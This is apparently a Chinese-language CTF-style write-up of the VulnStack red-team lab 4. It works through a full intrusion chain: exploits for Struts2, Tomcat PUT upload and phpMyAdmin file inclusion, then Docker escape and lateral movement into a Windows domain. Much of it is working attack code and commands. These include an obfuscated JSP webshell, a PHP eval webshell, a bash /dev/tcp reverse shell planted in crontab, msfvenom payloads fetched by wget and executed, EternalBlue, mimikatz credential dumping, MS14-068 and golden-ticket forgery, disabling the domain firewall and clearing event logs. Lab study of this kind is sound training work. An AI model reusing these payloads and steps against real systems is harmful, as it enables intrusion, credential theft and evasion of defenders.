VulnStack|红日靶场——红队评估四
今晚打老虎zxx
编辑于 2024年03月15日 06:45
收录于文集
共6篇

靶场下载链接:

代码块
JavaScript
自动换行
复制代码
http://vulnstack.qiyuanxuetang.net/vuln/detail/6/
复制成功

一、靶场搭建

VMnet1    仅主机模式    网段:192.168.183.0

VMnet8    NAT模式        网段:192.168.157.0

虚拟网络配置

靶机网卡配置

代码块
JavaScript
自动换行
复制代码
账号密码:
web:ubuntu\ubuntu
win7:douser\Dotest123
DC:administrator\Test2008
复制成功

    配置好后,登录web启动靶场环境

代码块
JavaScript
自动换行
复制代码
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/
sudo docker-compose up -d
复制成功

启动靶场环境

    可以更改一下win7的睡眠时间,要不然容易被挂起

睡眠

    至此靶场搭建完成,可以拍摄快照,便于后期恢复

拓扑图

二、信息收集及漏洞利用

    扫描跟kali处在同一网段的设备,找出目标IP

代码块
JavaScript
自动换行
复制代码
netdiscover -r 192.168.157.129/24
复制成功

目标探测

    扫描目标端口

代码块
JavaScript
自动换行
复制代码
nmap -p- -n -O -A -Pn -v -sV 192.168.157.128
复制成功

端口扫描

    3个端口上有web服务,分别对应三个漏洞环境 :2001——Struts2、2002——Tomcat、2003——phpmyadmin

01.Struts2 GetShell

        测试功能后,发现后缀为 .action(.action和 .do一般都为Java程序),猜测可能存在Struts2漏洞

2001端口

    通过 Struts2 漏洞扫描工具,发现存在 s2-045 和 s2-046 两个漏洞

代码块
JavaScript
自动换行
复制代码
工具链接:
https://github.com/abc123info/Struts2VulsScanTools
复制成功

Struts2漏洞扫描

    上传蚁剑jsp一句话(也可以使用工具自带小马)

代码块
JavaScript
自动换行
复制代码
<%  
    // 获取请求参数  
    String H6Pv4 = request.getParameter("zxx");  
      
    if (H6Pv4 != null) {  
        // 自定义类加载器  
        class E9OXyWMn extends ClassLoader {  
            E9OXyWMn(ClassLoader parent) {  
                super(parent);  
            }  
              
            // 自定义类定义方法  
            public Class H6Pv4(byte[] b) {  
                return super.defineClass(b, 0, b.length);  
            }  
        }  
          
        // 字节码数组  
        byte[] bytes = null;  
          
        try {  
            // 初始化的异或解密数组  
            int[] aa = new int[]{  
                99, 101, 126, 62, 125, 121, 99, 115, 62, 82, 81, 67, 85, 38, 36, 84,   
                117, 115, 127, 116, 117, 98  
            };  
              
            // 解密字符串  
            StringBuilder ccstrBuilder = new StringBuilder();  
            for (int i = 0; i < aa.length; i++) {  
                aa[i] ^= 16; // 异或解密  
                ccstrBuilder.append((char) aa[i]);  
            }  
            String ccstr = ccstrBuilder.toString();  
              
            // 加载解密后的类  
            Class APh7z = Class.forName(ccstr);  
              
            // 调用解码方法  
            String decodeMethodName = new String(new byte[]{100, 101, 99, 111, 100, 101, 66, 117, 102, 102, 101, 114});  
            bytes = (byte[]) APh7z.getMethod(decodeMethodName, String.class).invoke(APh7z.newInstance(), H6Pv4);  
              
        } catch (Exception e) {  
            // 如果解密失败,尝试使用 Base64 解码  
            bytes = javax.xml.bind.DatatypeConverter.parseBase64Binary(H6Pv4);  
        }  
          
        // 使用自定义类加载器加载字节码  
        Class aClass = new E9OXyWMn(Thread.currentThread().getContextClassLoader()).H6Pv4(bytes);  
          
        // 创建类的实例并调用 equals 方法  
        Object o = aClass.newInstance();  
        o.equals(pageContext);  
    }  
%>
复制成功

上传木马

    蚁剑连接

连接成功

02.Tomcat GetShell

    访问2002端口,发现Tomcat服务,并且版本为8.5.19

2002端口

    搜索该版本漏洞exp,查看exp脚本发现漏洞编号为 CVE-2017-12617 ,该漏洞可以通过PUT方法和 / 绕过上传jsp文件,导致任意代码执行。

代码块
JavaScript
自动换行
复制代码
#搜索漏洞
	searchsploit tomcat 8.5.19
#进入exploitdb目录
	exploitdb
#复制exp到桌面
	cp exploits/jsp/webapps/42966.py /root/桌面/
#切换到桌面目录
	cd /root/桌面
#上传文件
	python 42966.py -u http://192.168.157.128:2002 -p pwn

复制成功

漏洞搜索

复制exp

    使用exp上传成功后可直接执行代码,也可以手工复现

执行代码

    手工复现

    抓包,修改请求方式为 PUT ,然后在上传文件名结尾加 / 绕过上传限制,继续使用上面的jsp一句话

上传jsp代码

连接测试

03.phpmyadmin GetShell

    访问2003端口,发现为 phpmyadmin 控制台,并且无密码

2003端口

    phpmyadmin GetShell需要知道网站的绝对路径,通过目录扫描虽然扫出来了 phpinfo.php 文件,但是无任何信息

phpinfo.php

    可以通过查看 log 文件的路径来猜测网站的绝对路径,通过全局日志的路径猜测网站绝对路径为 /var/www/html/

代码块
SQL
自动换行
复制代码
SHOW VARIABLES LIKE "%log%" 
复制成功

查询 log 文件

       在首页可以看到phpmyadmin的版本为4.8.1,使用Apache搭建的服务器

代码块
Python
自动换行
复制代码
#使用Apache搭建时网站默认路径:
	/var/www/html
#使用Nginx搭建时网站默认路径:
	/usr/share/nginx/html
	/var/www/html
复制成功

版本信息

     搜索该版本漏洞,发现存在本地文件包含漏洞(搜索出来的RCE脚本也是通过本地文件漏洞完成的)

代码块
Python
自动换行
复制代码
searchsploit phpmyadmin 4.8.1
exploitdb
cp exploits/php/webapps/44924.txt /root/桌面
复制成功

    

漏洞信息

    

payload

    使用payload读取passwd文件

代码块
SQL
自动换行
复制代码
http://192.168.157.128:2003/index.php?target=db_sql.php%253f/../../../../../../etc/passwd
复制成功

passwd文件

    查询phpinfo信息

代码块
SQL
自动换行
复制代码
select "<?php phpinfo();?>"
复制成功

查询phpinfo信息

    获取session值为:3ad73ba09882ea3e655ea4f2648526db

session

    获取session值后拼接路径读取session文件,就可以查看phpinfo信息

代码块
Python
自动换行
复制代码
http://192.168.157.128:2003/index.php?target=db_sql.php%253f/../../../../../../tmp/sess_3ad73ba09882ea3e655ea4f2648526db

#session文件默认保存目录
Linux:
	/tmp
	/var/lib/php/session
Windows:
	C:WINDOWS/Temp
复制成功

phpinfo

    根据phpinfo信息得知网站绝对路径为 /var/www/html ,(这里因为权限不够,无法通过慢查询日志GetShell或者全局日志GetShell)

禁止修改

    利用 file_put_contents 函数 GetShell,先把代码写入session中(要是session不刷新,可以先把原来的session删除后再执行)

代码块
Python
自动换行
复制代码
#默认写入网站根目录
select '<?php file_put_contents("zxx.php","<?php @eval(\$_POST[zxx]);?>");?>';
#也可以写入指定目录
select '<?php file_put_contents("/var/www/html/zxx.php","<?php @eval(\$_POST[zxx]);?>");?>';
复制成功

写入文件

    拿到新的session后拼接执行代码

代码块
Python
自动换行
复制代码
http://192.168.157.128:2003/index.php?target=db_sql.php%253f/../../../../../../tmp/sess_9cdc1650278cbeffc65050db5d20e656
复制成功

执行

    蚁剑连接

连接成功

三、Docker逃逸

    再拿到webshell之后,查看系统信息时发现系统名有点类似Docker容器

系统信息

    经过验证,确实是在Docker容器中

代码块
Python
自动换行
复制代码
#查看根目录下全部文件,如果存在.dockerenv文件,证明在docker中
	ls -al /
#查看系统进程cgroup信息,存在docker字段,证明在docker中 
	cat /proc/1/cgroup
复制成功

Docker验证

    privileged特权模式启动容器逃逸,经检查只有Tomcat下的webshell是以特权模式启动的

代码块
Python
自动换行
复制代码
#查看是否为特权模式启动,如果是以特权模式启动的话,CapEff对应的掩码值应该为0000003fffffffff
cat /proc/self/status |grep Cap
复制成功

特权模式启动

      挂载成功后,反弹shell到kali实现docker逃逸(如果不是root权限,要先提权再逃逸)

代码块
Python
自动换行
复制代码
#查看磁盘分区情况
	fdisk -l
#新建目录
  mkdir /zxx
#挂载宿主机磁盘到新建目录中
	mount /dev/sda1 /zxx
#在kali上开启监听
	nc -lvvp 54321
#切换到新建目录
	cd /zxx
#新建.sh文件
	touch /zxx/zxx.sh
#写入反弹shell命令到sh文件中
	echo "bash -i >& /dev/tcp/192.168.157.129/54321 0>&1" >/zxx/zxx.sh
#把sh文件写入计划任务
	echo "* * * * * root bash /zxx.sh" >> /zxx/etc/crontab
复制成功

反弹shell

    反弹msf的shell到宿主机

代码块
Python
自动换行
复制代码
#查询系统位数
uname -m
#生成对应位数payload
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.157.129 lport=4444 -f elf > /root/桌面/zxx.elf
#打开msfconsole
msfconsole
#启用监听
use exploit/multi/handler 
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.157.129
set lport 4444
run
#在桌面上开启http服务
python3 -m http.server
#上传payload后,加权执行
wget http://192.168.157.129:8000/zxx.elf
chmod +x zxx.elf
./zxx.elf &

复制成功

生成payload

开启http服务

下载执行payload

反弹成功

    msf反弹成功后,先做个计划任务维权

代码块
Python
自动换行
复制代码
#添加特殊权限,不能删除更改文件
chattr +i zxx.elf
#创建计划任务每分钟运行一次
echo '*/1 * * * * root /root/zxx.elf' >> /etc/crontab
复制成功

权限维持

四、横向移动——frp隧道搭建

    查看网卡信息时发现存在其他网卡

网卡信息

    上传fscan对c段进行扫描

代码块
Python
自动换行
复制代码
#上传fsca
upload /root/桌面/fscan
#浸入shell
shell
#加权执行
chmod +x fscan
./fscan -h 192.168.183.128/24
复制成功

扫描结果

    通过扫描发现两台存活主机,并且都存在ms17-010漏洞,使用frp搭建隧道,kali做服务端,web做客户端

代码块
Python
自动换行
复制代码
#frp下载地址
https://github.com/fatedier/frp/releases
复制成功

服务端配置

客户端配置

    kali启动服务端,然后把客户端文件上传至web,加权后启动客户端

代码块
Python
自动换行
复制代码
#kali服务端
chmod +x  frps
./frps -c ./frps.toml
#meterpreter中上传客户端
upload /root/桌面/Tools/frp/frp_0.52.3_linux_amd64/frpc
upload /root/桌面/Tools/frp/frp_0.52.3_linux_amd64/frpc.toml
chmod +x frpc
nohup ./frpc -c frpc.toml >/dev/null 2>&1 &
复制成功

上传frp

启动服务端

启动客户端

    添加socket代理(代理端口要跟 remotePort 转发端口也就是通信端口一致),然后通过proxychains代理启动msfconsole,然后使用ms17-010模块批量攻击

代码块
Python
自动换行
复制代码
proxychains msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.183.129-130
set rport 445
run
session
复制成功

proxychains配置

    攻击完成后查看session,发现只拿下了win7

session

    通过查看系统信息发现,win7在DEMO域环境内,加载kiwi抓取域成员账号密码

代码块
Python
自动换行
复制代码
sysinfo
load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords
复制成功

系统信息

抓取密码

    但抓到的只是普通用户的密码,需要借助 ms14-068 伪造域管理员票据(如果shell无法加载,开启3389端口后连接远程桌面操作)

代码块
Python
自动换行
复制代码
#开启3389端口
use post/windows/manage/enable_rdp
set session 1
run
#判断是否存在该漏洞
systeminfo |find “3011780”
#MS14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码
MS14-068.exe -u douser@DEMO.COM -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
复制成功

开启3389端口

生成票据

代码块
Python
自动换行
复制代码
#清除票据
kerberos::purge
#注入票据
kerberos::ptc "TGT_douser@DEMO.COM.ccache"
复制成功

注入票据

    注入完成后即可访问到域控目录

代码块
自动换行
复制代码
#查看域内成员
net view
#访问域管理员目录
dir \\WIN-ENS2VR5TR3N\c$\" class=
复制成功

访问成功

    生成正向 payload 先上传到 win7 再上传到dc

代码块
Python
自动换行
复制代码
#生成payload
msfvenom -p windows/x64/meterpreter/bind_tcp lhost=192.168.157.132 lport=6666 -f exe > /root/桌面/zxx.exe
#上传到win7
upload /root/桌面/zxx.exe c:\\Users\\douser\\Desktop
#复制文件到域控
copy zxx.exe \\WIN-ENS2VR5TR3N\c$
复制成功

生成payload

上传到win7

复制到域控

    上传完成后创建计划任务执行payload

代码块
Python
自动换行
复制代码
#创建计划任务
schtasks /create /S WIN-ENS2VR5TR3N /TN "zxx" /TR C:\zxx.exe /SC MINUTE /MO 1 /ru system /f /RP
#启用监听
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.183.130
set lport 6666
run
#关闭域控防火墙
echo netsh advfirewall set allprofiles state off > zxx.bat
copy zxx.bat \\WIN-ENS2VR5TR3N\c$
schtasks /create /S WIN-ENS2VR5TR3N /TN "zxx2" /TR C:\zxx.bat /SC MINUTE /MO 1 /ru system /f /RP
复制成功

启用监听

创建计划任务

    防火墙关闭后即可连接成功(要是长时间没反应,可以重新运行监听)

连接成功

  五、权限维持——黄金票据

    制作黄金票据(也可以直接抓密码后开3389端口,毕竟之前已经伪造过域管理员票据)

代码块
Python
自动换行
复制代码
load incognito	加载模块
list_tokens -u	列出所有token
impersonate_token "DEMO\Administrator"	模拟token
load kiwi
kiwi_cmd "lsadump::dcsync /domain:DEMO.COM /user:krbtgt"	获取用户hash 
golden_ticket_create -d DEMO.COM -k 7c4ed692473d4b4344c3ba01c5e6cb63 -u zxx -s S-1-5-21-979886063-1111900045-1414766810 -t /root/桌面/zxx.ticket
kerberos_ticket_use /root/桌面/zxx.ticket	使用票据
#列出所有票据 需要system权限
creds_all
复制成功

生成票据

抓取密码

    清理日志

代码块
Python
自动换行
复制代码
#查看事件日志
run event_manager -i
#清除所有日志
run event_manager -c
复制成功

清理日志

六、总结

1、phpmyadmin本地文件包含GetShell其他两种方法:

    ①在数据库新建一张表,在字段名中写入一句话木马(这里MySQL和phpmyadmin在两个不同的容器中,属于站库分离,无法GetShell),然后包含新建的表(需要知道数据库保存的路径)

    ②直接把一句话木马写入session中,然后包含session文件(经过多次尝试均无法成功)

代码块
Python
自动换行
复制代码
#查询数据库保存路径
show variables like '%datadir%';
http://127.0.0.1/phpmyadmin/index.php?a=phpinfo();&target=db_sql.php%253f/../../../../../../phpStudy/PHPTutorial/MySQL/data/hack/hack.frm


#写入一句话到session
select "一句话木马"
http://127.0.0.1/phpmyadmin/index.php?a=phpinfo();&target=db_sql.php%253f/../../../../../../tmp/sess_
复制成功

2、这靶场要一次打完,隔段时间再打容易出现各种问题,在横向移动的时候不搭建frp隧道,直接添加路由后使用 msf 的 socks 模块,可能会在打 win7 的时候 socks 代理超时,也有可能搭建完隧道拿下 win7 后无法加载 shell 模块,也可能两个问题同时出现。

    在这里反复重置过多次靶机,最后选择开 3389 端口在 win7 远程桌面上伪造票据。